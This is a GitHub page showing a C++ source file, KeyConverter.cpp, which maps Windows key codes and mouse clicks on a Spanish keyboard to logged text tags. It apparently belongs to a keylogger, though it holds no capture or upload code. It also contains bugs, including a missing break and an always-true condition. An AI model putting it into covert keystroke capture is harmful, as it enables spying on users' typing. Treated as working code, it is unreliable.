-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathKeyConverter.cpp
More file actions
289 lines (288 loc) · 7.55 KB
/
KeyConverter.cpp
File metadata and controls
289 lines (288 loc) · 7.55 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
#include <windows.h>
#include "KeyConverter.h"
std::string convertKey(int key, int &keystrokes){
std::string strings;
switch(key){
case 8:
strings="[R]";
keystrokes--;
break;
case 10: // 10 y 13 son para enter (?)
strings="\r\n";
break;
case 13:
strings="\r\n";
break;
case 32:
strings=" ";
break;
case 42:
strings="*";
break;
case 43:
strings="+";
break;
case 45:
strings="-";
break;
case 46:
strings="[SUPR]";
break;
case 47:
strings="/";
break;
case 48:
if (GetAsyncKeyState(VK_SHIFT))
strings="=";
else
strings="0";
break;
case 49:
if (GetAsyncKeyState(VK_SHIFT))
strings="!";
else if (GetAsyncKeyState(VK_RMENU))
strings="|";
else
strings="1";
break;
case 50:
if (GetAsyncKeyState(VK_SHIFT))
strings="\"";
else if (GetAsyncKeyState(VK_RMENU))
strings="@";
else
strings="2";
break;
case 51:
if (GetAsyncKeyState(VK_SHIFT))
strings="·";
else if (GetAsyncKeyState(VK_RMENU))
strings="#";
else
strings="3";
break;
case 52:
if (GetAsyncKeyState(VK_SHIFT))
strings="$";
else if (GetAsyncKeyState(VK_RMENU))
strings="~";
else
strings="4";
break;
case 53:
if (GetAsyncKeyState(VK_SHIFT))
strings="%";
else if (GetAsyncKeyState(VK_RMENU))
strings="€";
else
strings="5";
break;
case 54:
if (GetAsyncKeyState(VK_SHIFT))
strings="&";
else if (GetAsyncKeyState(VK_RMENU))
strings="¬";
else
strings="6";
break;
case 55:
if (GetAsyncKeyState(VK_SHIFT))
strings="/";
else
strings="7";
break;
case 56:
if (GetAsyncKeyState(VK_SHIFT))
strings="(";
else
strings="8";
break;
case 57:
if (GetAsyncKeyState(VK_SHIFT))
strings=")";
else
strings="9";
break;
case 96: // Keypad
strings="0";
break;
case 97:
strings="1";
break;
case 98:
strings="2";
break;
case 99:
strings="3";
break;
case 100:
strings="4";
break;
case 101:
strings="5";
case 102:
strings="6";
break;
case 103:
strings="7";
break;
case 104:
strings="8";
break;
case 105:
strings="9";
break;
case 110:
if (GetAsyncKeyState(VK_SHIFT))
strings=":";
else
strings=".";
break;
case 111:
strings="/";
break;
case 106:
strings="*";
break;
case 107:
strings="+";
break;
case 109:
strings="-";
break;
case 144:
strings="[BLOQNUM]"; // /Keypad
keystrokes--;
break;
case 165:
strings = "[ALTGR]";
break;
case 192:
if (GetAsyncKeyState(VK_SHIFT))
strings="Ñ";
else
strings="ñ";
break;
case 186: // Acento francés
if (GetAsyncKeyState(VK_RMENU))
strings="[";
break;
case 187: // Acento latino
if (GetAsyncKeyState(VK_SHIFT))
strings="*";
else if (GetAsyncKeyState(VK_RMENU))
strings="]";
else
strings="+";
break;
case 188: // no debería ser éste
if (GetAsyncKeyState(VK_SHIFT))
strings=";";
else
strings=",";
break;
case 189:
if(GetAsyncKeyState(VK_SHIFT))
strings="_";
else
strings="-";
break;
case 190:
if (GetAsyncKeyState(VK_SHIFT))
strings=":";
else
strings=".";
break;
case 191:
if (GetAsyncKeyState(VK_RMENU))
strings="}";
break;
case 219: // no debería ser éste
if (GetAsyncKeyState(VK_SHIFT))
strings="?";
else
strings="'";
break;
case 220:
if (GetAsyncKeyState(VK_SHIFT))
strings="ª";
else if (GetAsyncKeyState(VK_RMENU))
strings="\\";
else
strings="º";
break;
case 221:
if (GetAsyncKeyState(VK_SHIFT))
strings="¿";
else
strings="¡";
break;
case 222:
if (GetAsyncKeyState(VK_RMENU))
strings="{";
break;
case 226:
if (GetAsyncKeyState(VK_RMENU) || GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT))
strings=">";
else
strings="<";
break;
case VK_CAPITAL:
strings="[CAPSLOCK]";
keystrokes--;
break;
case VK_TAB:
strings="[TAB]";
if (GetAsyncKeyState(VK_RMENU))
strings="[ALTTAB]";
keystrokes--;
break;
case VK_LSHIFT:
strings="[LSHIFT]";
break;
case VK_RSHIFT:
strings="[RSHIFT]";
break;
default:
strings="";
break;
case VK_CONTROL:
strings="[CTRL]";
break;
case VK_ESCAPE:
strings="[ESC]";
break;
case VK_DOWN:
strings="[DOWN]";
break;
case VK_UP:
strings="[UP]";
break;
case VK_LEFT:
strings="[LEFT]";
break;
case VK_RIGHT:
strings="[RIGHT]";
break; //da conflicto
case VK_LBUTTON:
strings="[LCLICK]";
break;
case VK_RBUTTON:
strings="[RCLICK]";
break;
}
if(key>96 && key<105){
strings=key-48;
}
else if (key!= VK_LBUTTON || key != VK_RBUTTON){
if (key > 64 && key < 91){
if( GetKeyState(VK_CAPITAL) || GetAsyncKeyState(VK_SHIFT)){
strings=key;
}
else{
strings=key+32;
}
}
}
return strings;
}